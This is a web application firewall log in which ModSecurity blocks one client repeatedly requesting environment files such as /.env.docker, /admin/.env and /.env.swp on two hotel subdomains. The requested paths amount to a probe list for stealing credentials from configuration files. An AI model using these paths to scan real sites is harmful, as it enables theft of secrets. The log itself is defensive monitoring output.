[Sun Oct 25 18:01:07.668070 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at58IxFm2vH00tQABbbuvQAAAAg"]
[Sun Oct 25 18:01:07.668361 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at58IxFm2vH00tQABbbuvQAAAAg"]
[Sun Oct 25 18:01:07.731882 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at58IxVtY6H0wJd2uaILYAAAADA"]
[Sun Oct 25 18:01:07.732147 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at58IxVtY6H0wJd2uaILYAAAADA"]
[Sun Oct 25 18:01:07.732466 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at58IxVtY6H0wJd2uaILYAAAADA"]
[Sun Oct 25 18:01:07.792335 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at58IxFm2vH00tQABbbuvgAAAAg"]
[Sun Oct 25 18:01:07.792594 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at58IxFm2vH00tQABbbuvgAAAAg"]
[Sun Oct 25 18:01:07.792851 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at58IxFm2vH00tQABbbuvgAAAAg"]
[Sun Oct 25 18:01:07.855918 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at58IxVtY6H0wJd2uaILYQAAADA"]
[Sun Oct 25 18:01:07.856172 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at58IxVtY6H0wJd2uaILYQAAADA"]
[Sun Oct 25 18:01:07.856431 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at58IxVtY6H0wJd2uaILYQAAADA"]
[Sun Oct 25 18:01:07.917742 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at58IxFm2vH00tQABbbuvwAAAAg"]
[Sun Oct 25 18:01:07.918168 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at58IxFm2vH00tQABbbuvwAAAAg"]
[Sun Oct 25 18:01:07.918510 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at58IxFm2vH00tQABbbuvwAAAAg"]
[Sun Oct 25 18:01:07.979738 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at58IxVtY6H0wJd2uaILYgAAADA"]
[Sun Oct 25 18:01:07.980011 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at58IxVtY6H0wJd2uaILYgAAADA"]
[Sun Oct 25 18:01:07.980327 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at58IxVtY6H0wJd2uaILYgAAADA"]
[Sun Oct 25 18:01:08.042332 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at58JBFm2vH00tQABbbuwAAAAAg"]
[Sun Oct 25 18:01:08.042583 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at58JBFm2vH00tQABbbuwAAAAAg"]
[Sun Oct 25 18:01:08.042891 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at58JBFm2vH00tQABbbuwAAAAAg"]
[Sun Oct 25 18:01:08.104325 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at58JBVtY6H0wJd2uaILYwAAADA"]
[Sun Oct 25 18:01:08.104597 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at58JBVtY6H0wJd2uaILYwAAADA"]
[Sun Oct 25 18:01:08.104870 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at58JBVtY6H0wJd2uaILYwAAADA"]
[Sun Oct 25 18:01:08.166698 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at58JBFm2vH00tQABbbuwQAAAAg"]
[Sun Oct 25 18:01:08.166951 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at58JBFm2vH00tQABbbuwQAAAAg"]
[Sun Oct 25 18:01:08.167236 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at58JBFm2vH00tQABbbuwQAAAAg"]
[Sun Oct 25 18:01:08.228151 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at58JBVtY6H0wJd2uaILZAAAADA"]
[Sun Oct 25 18:01:08.228443 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at58JBVtY6H0wJd2uaILZAAAADA"]
[Sun Oct 25 18:01:08.228740 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at58JBVtY6H0wJd2uaILZAAAADA"]
[Sun Oct 25 18:01:08.291336 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at58JBFm2vH00tQABbbuwgAAAAg"]
[Sun Oct 25 18:01:08.291617 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at58JBFm2vH00tQABbbuwgAAAAg"]
[Sun Oct 25 18:01:08.291873 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at58JBFm2vH00tQABbbuwgAAAAg"]
[Sun Oct 25 18:01:08.352424 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at58JBVtY6H0wJd2uaILZQAAADA"]
[Sun Oct 25 18:01:08.352706 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at58JBVtY6H0wJd2uaILZQAAADA"]
[Sun Oct 25 18:01:08.353002 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at58JBVtY6H0wJd2uaILZQAAADA"]
[Sun Oct 25 18:01:08.415829 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at58JBFm2vH00tQABbbuwwAAAAg"]
[Sun Oct 25 18:01:08.416099 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at58JBFm2vH00tQABbbuwwAAAAg"]
[Sun Oct 25 18:01:08.416341 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at58JBFm2vH00tQABbbuwwAAAAg"]
[Sun Oct 25 18:01:08.477645 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at58JBVtY6H0wJd2uaILZgAAADA"]
